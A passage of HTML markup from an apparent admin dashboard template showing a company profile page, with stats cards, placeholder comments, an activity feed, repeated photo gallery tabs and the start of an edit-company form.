<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-8 col-lg-12 col-md-12">
<div class="card overflow-hidden">
<div class="card-header">
<div class="card-title">Projects per month</div>
</div>
<div class="card-body">
<div id="chart" class="overflow-hidden chart-dropshadow"></div>
</div>
</div>
<div class="card">
<div class="card-body">
<div class="media ">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro11.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<h4 class="media-heading"><NAME></h4>
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium
doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore
veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim
ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugitde
<div class="media">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro9.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<h4 class="media-heading"><NAME></h4>
Sed ut perspiciatis unde omnis iste natus error sit voluptatem
accusantium doloremque laudantium, totam rem aperiam.
</div>
</div>
<div class="media ">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro18.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<div class="form-group">
<textarea class="form-control" name="example-textarea-input" rows="3"
placeholder="text here.."></textarea>
<div class="row mt-3">
<div class="col-12 text-right">
<button class="btn btn-primary ">Reply</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-12 col-md-12">
<div class="our-services-wrapper card">
<div class="services-inner c">
<div class="our-services-img">
<div class="icon icon-shape bg-warning rounded-circle text-white">
<i class="far fa-handshake text-white"></i>
</div>
</div>
<div class="our-services-text">
<h4>Total contracts</h4>
<h5 class="text-muted">56</h5>
</div>
</div>
</div>
<div class="our-services-wrapper card">
<div class="services-inner">
<div class="our-services-img">
<div class="icon icon-shape bg-pink-dark rounded-circle text-white">
<i class="fas fa-dollar-sign text-white"></i>
</div>
</div>
<div class="our-services-text">
<h4>Income from this company</h4>
<h5 class="text-muted">50.000.000 Toman</h5>
</div>
</div>
</div>
<div class="our-services-wrapper card">
<div class="services-inner">
<div class="our-services-img">
<div class="icon icon-shape bg-blue-dark rounded-circle text-white">
<i class="fas fa-check text-white"></i>
</div>
</div>
<div class="our-services-text">
<h4>Total deal from this company</h4>
<h5 class="text-muted">43 <a class="btn btn-xs fs-10 btn-bold btn-outline-success mr-1 float-right"
href="#">26 Succeeded</a></h5>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro18.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b> <br>Project kick off</b></p>
<small class="text-info">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro10.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Saba Nouri</b> Add a new projects <b>Design New Films</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro8.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Jasem Jabari</b> Add a new projects <b>Upload Modified Photos</b></p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro11.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b><NAME></b><b> Hold The Coordination Meeting At Room Number
6</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-12 col-lg-12 col-md-12">
<div class="card box-widget widget-user">
<div class="py-6 rounded-top bg-primary text-center pb-0">
<h2 class="widget-user-username">Capacity</h2>
<h3 class="widget-user-desc mt-3 mb-0 font-weight-bold">500 people </h3>
</div>
<div class="box-footer py-4">
<div class="row">
<div class="col-sm-2 border-right">
<div class="description-block">
<h5 class="description-header text">Grade B</h5><span class="text-muted font-weight-bold">Professional Staff</span>
</div>
</div>
<div class="col-sm-2 border-right">
<div class="description-block">
<h5 class="description-header">Grade A</h5><span class="text-muted font-weight-bold">Decoration</span>
</div>
</div>
<div class="col-sm-2 border-right">
<div class="description-block ">
<h5 class="description-header">Grade C</h5><span class="text-muted font-weight-bold">Cleaning & Maintenance </span>
</div>
</div>
<div class="col-sm-2 border-right">
<div class="description-block">
<h5 class="description-header">Grade A</h5><span class="text-muted font-weight-bold">Easy Catering Service </span>
</div>
</div>
<div class="col-sm-2 border-right">
<div class="description-block">
<h5 class="description-header">Grade A</h5><span class="text-muted font-weight-bold">Workflow Of Management </span>
</div>
</div>
<div class="col-sm-2 ">
<div class="description-block">
<h5 class="description-header">Grade B</h5><span class="text-muted font-weight-bold">Convenient Location & Parking</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card">
<div class="card-header">
<h4 class="card-title">Album</h4>
<button type="button" class="btn btn-pink float-right ml-auto" data-toggle="modal"
data-target="#add-modal"><i class="fas fa-upload"></i></button>
</div>
<div class="card-body p-5">
<div class="panel panel-primary">
<div class=" p-3 ">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li><a href="#tab1-1" class="active font-weight-bold" data-toggle="tab">Album 1</a></li>
<li><a href="#tab2-2" class="font-weight-bold" data-toggle="tab">Album 2</a></li>
<li><a href="#tab3-3" class="font-weight-bold" data-toggle="tab">Album 3</a></li>
<li><a href="#tab4-4" class="font-weight-bold" data-toggle="tab">Album 4</a></li>
<li><a href="#tab5-5" class="font-weight-bold" data-toggle="tab">Album 5</a></li>
<li><a href="#tab6-6" class="font-weight-bold" data-toggle="tab">Album 6</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0 ">
<div class="tab-content">
<div class="tab-pane active " id="tab1-1">
<div class="demo-gallery">
<ul id="lightgallery" class="list-unstyled row">
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/1.jpg"
data-src="../assets/images/photos/1.jpg"
data-sub-html="<h4>Gallery Image 1</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/1.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/2.jpg"
data-src="../assets/images/photos/2.jpg"
data-sub-html="<h4>Gallery Image 2</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/2.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/3.jpg"
data-src="../assets/images/photos/3.jpg"
data-sub-html="<h4>Gallery Image 3</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/3.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/4.jpg"
data-src="../assets/images/photos/4.jpg"
data-sub-html=" <h4>Gallery Image 4</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/4.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/5.jpg"
data-src="../assets/images/photos/5.jpg"
data-sub-html="<h4>Gallery Image 5</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/5.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/6.jpg"
data-src="../assets/images/photos/6.jpg"
data-sub-html="<h4>Gallery Image 6</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/6.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/7.jpg"
data-src="../assets/images/photos/7.jpg"
data-sub-html="<h4>Gallery Image 7</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/7.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/8.jpg"
data-src="../assets/images/photos/8.jpg"
data-sub-html="<h4>Gallery Image 8</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/8.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/9.jpg"
data-src="../assets/images/photos/9.jpg"
data-sub-html="<h4>Gallery Image 9</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/9.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/10.jpg"
data-src="../assets/images/photos/10.jpg"
data-sub-html="<h4>Gallery Image 10</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/10.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/11.jpg"
data-src="../assets/images/photos/11.jpg"
data-sub-html="<h4>Gallery Image 11</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/11.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/12.jpg"
data-src="../assets/images/photos/12.jpg"
data-sub-html="<h4>Gallery Image 12</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/12.jpg"
alt="Thumb-2">
</a>
</li>
</ul>
</div>
</div>
<div class="tab-pane " id="tab2-2">
<div class="demo-gallery">
<ul id="lightgallery" class="list-unstyled row">
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/1.jpg"
data-src="../assets/images/photos/1.jpg"
data-sub-html="<h4>Gallery Image 1</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/1.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/2.jpg"
data-src="../assets/images/photos/2.jpg"
data-sub-html="<h4>Gallery Image 2</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/2.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/3.jpg"
data-src="../assets/images/photos/3.jpg"
data-sub-html="<h4>Gallery Image 3</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/3.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/4.jpg"
data-src="../assets/images/photos/4.jpg"
data-sub-html=" <h4>Gallery Image 4</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/4.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/5.jpg"
data-src="../assets/images/photos/5.jpg"
data-sub-html="<h4>Gallery Image 5</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/5.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/6.jpg"
data-src="../assets/images/photos/6.jpg"
data-sub-html="<h4>Gallery Image 6</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/6.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/7.jpg"
data-src="../assets/images/photos/7.jpg"
data-sub-html="<h4>Gallery Image 7</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/7.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/8.jpg"
data-src="../assets/images/photos/8.jpg"
data-sub-html="<h4>Gallery Image 8</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/8.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/9.jpg"
data-src="../assets/images/photos/9.jpg"
data-sub-html="<h4>Gallery Image 9</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/9.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/10.jpg"
data-src="../assets/images/photos/10.jpg"
data-sub-html="<h4>Gallery Image 10</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/10.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/11.jpg"
data-src="../assets/images/photos/11.jpg"
data-sub-html="<h4>Gallery Image 11</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/11.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/12.jpg"
data-src="../assets/images/photos/12.jpg"
data-sub-html="<h4>Gallery Image 12</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/12.jpg"
alt="Thumb-2">
</a>
</li>
</ul>
</div>
</div>
<div class="tab-pane " id="tab3-3">
<div class="demo-gallery">
<ul id="lightgallery" class="list-unstyled row">
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/1.jpg"
data-src="../assets/images/photos/1.jpg"
data-sub-html="<h4>Gallery Image 1</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/1.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/2.jpg"
data-src="../assets/images/photos/2.jpg"
data-sub-html="<h4>Gallery Image 2</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/2.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/3.jpg"
data-src="../assets/images/photos/3.jpg"
data-sub-html="<h4>Gallery Image 3</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/3.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/4.jpg"
data-src="../assets/images/photos/4.jpg"
data-sub-html=" <h4>Gallery Image 4</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/4.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/5.jpg"
data-src="../assets/images/photos/5.jpg"
data-sub-html="<h4>Gallery Image 5</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/5.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/6.jpg"
data-src="../assets/images/photos/6.jpg"
data-sub-html="<h4>Gallery Image 6</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/6.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/7.jpg"
data-src="../assets/images/photos/7.jpg"
data-sub-html="<h4>Gallery Image 7</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/7.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/8.jpg"
data-src="../assets/images/photos/8.jpg"
data-sub-html="<h4>Gallery Image 8</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/8.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/9.jpg"
data-src="../assets/images/photos/9.jpg"
data-sub-html="<h4>Gallery Image 9</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/9.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/10.jpg"
data-src="../assets/images/photos/10.jpg"
data-sub-html="<h4>Gallery Image 10</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/10.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/11.jpg"
data-src="../assets/images/photos/11.jpg"
data-sub-html="<h4>Gallery Image 11</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/11.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/12.jpg"
data-src="../assets/images/photos/12.jpg"
data-sub-html="<h4>Gallery Image 12</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/12.jpg"
alt="Thumb-2">
</a>
</li>
</ul>
</div>
</div>
<div class="tab-pane " id="tab4-4">
<div class="demo-gallery">
<ul id="lightgallery" class="list-unstyled row">
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/1.jpg"
data-src="../assets/images/photos/1.jpg"
data-sub-html="<h4>Gallery Image 1</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/1.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/2.jpg"
data-src="../assets/images/photos/2.jpg"
data-sub-html="<h4>Gallery Image 2</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/2.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/3.jpg"
data-src="../assets/images/photos/3.jpg"
data-sub-html="<h4>Gallery Image 3</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/3.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/4.jpg"
data-src="../assets/images/photos/4.jpg"
data-sub-html=" <h4>Gallery Image 4</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/4.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/5.jpg"
data-src="../assets/images/photos/5.jpg"
data-sub-html="<h4>Gallery Image 5</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/5.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/6.jpg"
data-src="../assets/images/photos/6.jpg"
data-sub-html="<h4>Gallery Image 6</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/6.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/7.jpg"
data-src="../assets/images/photos/7.jpg"
data-sub-html="<h4>Gallery Image 7</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/7.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/8.jpg"
data-src="../assets/images/photos/8.jpg"
data-sub-html="<h4>Gallery Image 8</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/8.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/9.jpg"
data-src="../assets/images/photos/9.jpg"
data-sub-html="<h4>Gallery Image 9</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/9.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/10.jpg"
data-src="../assets/images/photos/10.jpg"
data-sub-html="<h4>Gallery Image 10</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/10.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/11.jpg"
data-src="../assets/images/photos/11.jpg"
data-sub-html="<h4>Gallery Image 11</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/11.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/12.jpg"
data-src="../assets/images/photos/12.jpg"
data-sub-html="<h4>Gallery Image 12</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/12.jpg"
alt="Thumb-2">
</a>
</li>
</ul>
</div>
</div>
<div class="tab-pane " id="tab5-5">
<div class="demo-gallery">
<ul id="lightgallery" class="list-unstyled row">
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/1.jpg"
data-src="../assets/images/photos/1.jpg"
data-sub-html="<h4>Gallery Image 1</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/1.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/2.jpg"
data-src="../assets/images/photos/2.jpg"
data-sub-html="<h4>Gallery Image 2</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/2.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/3.jpg"
data-src="../assets/images/photos/3.jpg"
data-sub-html="<h4>Gallery Image 3</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/3.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/4.jpg"
data-src="../assets/images/photos/4.jpg"
data-sub-html=" <h4>Gallery Image 4</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/4.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/5.jpg"
data-src="../assets/images/photos/5.jpg"
data-sub-html="<h4>Gallery Image 5</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/5.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/6.jpg"
data-src="../assets/images/photos/6.jpg"
data-sub-html="<h4>Gallery Image 6</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/6.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/7.jpg"
data-src="../assets/images/photos/7.jpg"
data-sub-html="<h4>Gallery Image 7</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/7.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/8.jpg"
data-src="../assets/images/photos/8.jpg"
data-sub-html="<h4>Gallery Image 8</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/8.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/9.jpg"
data-src="../assets/images/photos/9.jpg"
data-sub-html="<h4>Gallery Image 9</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/9.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/10.jpg"
data-src="../assets/images/photos/10.jpg"
data-sub-html="<h4>Gallery Image 10</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/10.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/11.jpg"
data-src="../assets/images/photos/11.jpg"
data-sub-html="<h4>Gallery Image 11</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/11.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/12.jpg"
data-src="../assets/images/photos/12.jpg"
data-sub-html="<h4>Gallery Image 12</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/12.jpg"
alt="Thumb-2">
</a>
</li>
</ul>
</div>
</div>
<div class="tab-pane " id="tab6-6">
<div class="demo-gallery">
<ul id="lightgallery" class="list-unstyled row">
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/1.jpg"
data-src="../assets/images/photos/1.jpg"
data-sub-html="<h4>Gallery Image 1</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/1.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/2.jpg"
data-src="../assets/images/photos/2.jpg"
data-sub-html="<h4>Gallery Image 2</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/2.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/3.jpg"
data-src="../assets/images/photos/3.jpg"
data-sub-html="<h4>Gallery Image 3</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/3.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/4.jpg"
data-src="../assets/images/photos/4.jpg"
data-sub-html=" <h4>Gallery Image 4</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/4.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/5.jpg"
data-src="../assets/images/photos/5.jpg"
data-sub-html="<h4>Gallery Image 5</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/5.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/6.jpg"
data-src="../assets/images/photos/6.jpg"
data-sub-html="<h4>Gallery Image 6</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/6.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/7.jpg"
data-src="../assets/images/photos/7.jpg"
data-sub-html="<h4>Gallery Image 7</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/7.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/8.jpg"
data-src="../assets/images/photos/8.jpg"
data-sub-html="<h4>Gallery Image 8</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/8.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/9.jpg"
data-src="../assets/images/photos/9.jpg"
data-sub-html="<h4>Gallery Image 9</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/9.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/10.jpg"
data-src="../assets/images/photos/10.jpg"
data-sub-html="<h4>Gallery Image 10</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/10.jpg"
alt="Thumb-2">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/11.jpg"
data-src="../assets/images/photos/11.jpg"
data-sub-html="<h4>Gallery Image 11</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/11.jpg"
alt="Thumb-1">
</a>
</li>
<li class="col-xs-6 col-sm-4 col-md-3"
data-responsive="../assets/images/photos/12.jpg"
data-src="../assets/images/photos/12.jpg"
data-sub-html="<h4>Gallery Image 12</h4>">
<a href="">
<img class="img-responsive" src="../assets/images/photos/12.jpg"
alt="Thumb-2">
</a>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Edit Company</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class="tab-menu-heading border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab11" class="active font-weight-bold"
data-toggle="tab">Basic Info</a></li>
<li><a href="#tab22" class="font-weight-bold" data-toggle="tab">Place &
Location</a></li>
<li><a href="#tab33" class="font-weight-bold"
data-toggle="tab">Detailing</a></li>
<li><a href="#tab44" class="font-weight-bold" data-toggle="tab">Other
Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab11">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Company
name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name"
name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Responsible
person :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name"
name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Website
address :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name"
name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Org
email :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name"
